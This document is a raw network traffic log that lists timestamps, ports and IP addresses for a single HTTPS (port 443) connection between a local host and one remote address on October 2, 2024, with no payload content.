Oct 2, 2024 06:10:12.003463984 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.003479958 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.003519058 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.003526926 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.003554106 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.003567934 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.037261009 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.037286997 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.037394047 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.037425995 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.037503958 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.088335991 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.088371038 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.088454008 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.088474035 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.088536978 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.088886976 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.088905096 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.088963032 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.088982105 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.089039087 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.089143038 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.089165926 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.089214087 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.089232922 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.089265108 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.089291096 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.089715004 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.089736938 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.089792013 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.089799881 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.089998960 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.091291904 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.091320038 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.091670036 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.091706991 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.091734886 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.091753960 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.091855049 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.091871023 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.091984034 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.092040062 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.092053890 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.092147112 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.092160940 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.092227936 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.125855923 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.125874043 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.125967979 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.126002073 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.126058102 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.167610884 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.176898956 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.176918983 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.177004099 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.177026033 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.177088022 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.177546978 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.177561998 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.177628040 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.177644014 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.177699089 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.177716970 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.177732944 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.177778006 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.177793026 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.177846909 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.177846909 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.178103924 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.178119898 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.178179026 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.178194046 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.178250074 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.179749966 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.179765940 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.179833889 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.179847002 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.179913998 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.180166006 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.180181026 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.180243969 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.180257082 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.180309057 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.180454016 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.180469036 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.180541039 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.180555105 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.180610895 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.182074070 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.214440107 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.214456081 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.214536905 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.214545965 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.214601994 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.265379906 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.265405893 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.265455008 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.265472889 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.265505075 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.265531063 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.266005039 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.266026020 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.266082048 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.266097069 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.266124010 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.266149044 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.266360044 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.266376019 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.266434908 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.266448975 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.266501904 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.266532898 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.266547918 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.266599894 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.266613007 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.266639948 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.266659021 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.268270016 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.268285990 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.268352032 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.268366098 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.268419027 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.268693924 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.268708944 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.268774986 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.268788099 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.268845081 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.268999100 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.269015074 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.269079924 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.269093990 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.269150019 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.303307056 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.303333998 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.303472996 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.303482056 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.303539038 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.358100891 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.358125925 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.358200073 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.358231068 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.358261108 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.358285904 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.358365059 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.358380079 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.358442068 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.358457088 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.358513117 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.358637094 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.358656883 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.358710051 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.358722925 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.358752012 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.358772039 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.359057903 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.359075069 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.359126091 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.359137058 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.359149933 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.359179020 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.359226942 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.359287977 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.359302998 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.359359026 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.359373093 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.359425068 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.359677076 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.359695911 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.359749079 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.359762907 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.359788895 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.391593933 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.391609907 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.391685009 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.391705036 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.391742945 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.442775965 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.442810059 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.442859888 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.442877054 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.442924976 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.443517923 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.443535089 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.443578005 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.443612099 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.443634987 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.443660975 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.443865061 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.443890095 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.443928003 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.443939924 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.443964958 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.444046021 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.444058895 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.444116116 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.444130898 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.444154978 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.445466042 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.445485115 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.445559978 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.445575953 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.446016073 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.446031094 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.446085930 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.446099997 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.446126938 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.446243048 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.446261883 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.446302891 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.446316957 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.446341991 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.480099916 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.480115891 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.480222940 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.480243921 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.523283005 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.531271935 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.531280041 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.531326056 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.531363964 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.531430960 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.531455040 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.531477928 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.531517029 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.532097101 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.532110929 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.532190084 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.532202959 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.532260895 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.532778978 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.532793045 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.532866955 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.532880068 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.532944918 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.533077955 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.533094883 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.533173084 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.533185005 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.533252001 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.533973932 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.533989906 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.534069061 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.534082890 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.534152031 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.534476995 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.534492016 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.534562111 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.534575939 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.534642935 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.534698009 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.534713030 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.534789085 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.534815073 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.534887075 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.568728924 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.568747997 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.568994045 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.569017887 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.569082975 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.619774103 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.619793892 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.619898081 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.619908094 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.619956970 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.620743990 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.620759964 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.620842934 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.620857000 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.620912075 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.620918036 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.620932102 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.620954037 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.620980978 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.621028900 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.621041059 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.621092081 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.621376038 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.621390104 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.621462107 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.621474028 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.621534109 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.622530937 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.622546911 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.622627020 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.622641087 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.622699976 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.623254061 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.623269081 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.623341084 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.623353958 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.623433113 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.623589039 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.623603106 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.623671055 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.623686075 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.623744965 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.657396078 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.657414913 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.657537937 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.657552958 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.657608986 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.708384037 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.708401918 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.708551884 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.708561897 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.708619118 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.709136009 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.709151030 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.709223032 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.709229946 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.709284067 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.709436893 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.709451914 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.709520102 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.709527016 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.709574938 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.710005045 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.710020065 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.710093021 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.710098982 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.710146904 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.711081028 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.711097002 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.711164951 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.711173058 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.711215973 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.711863995 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.711879015 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.711963892 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.711971045 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.712019920 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.712136984 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.712157965 CEST	443	49715	167.114.14.168	192.168.2.5
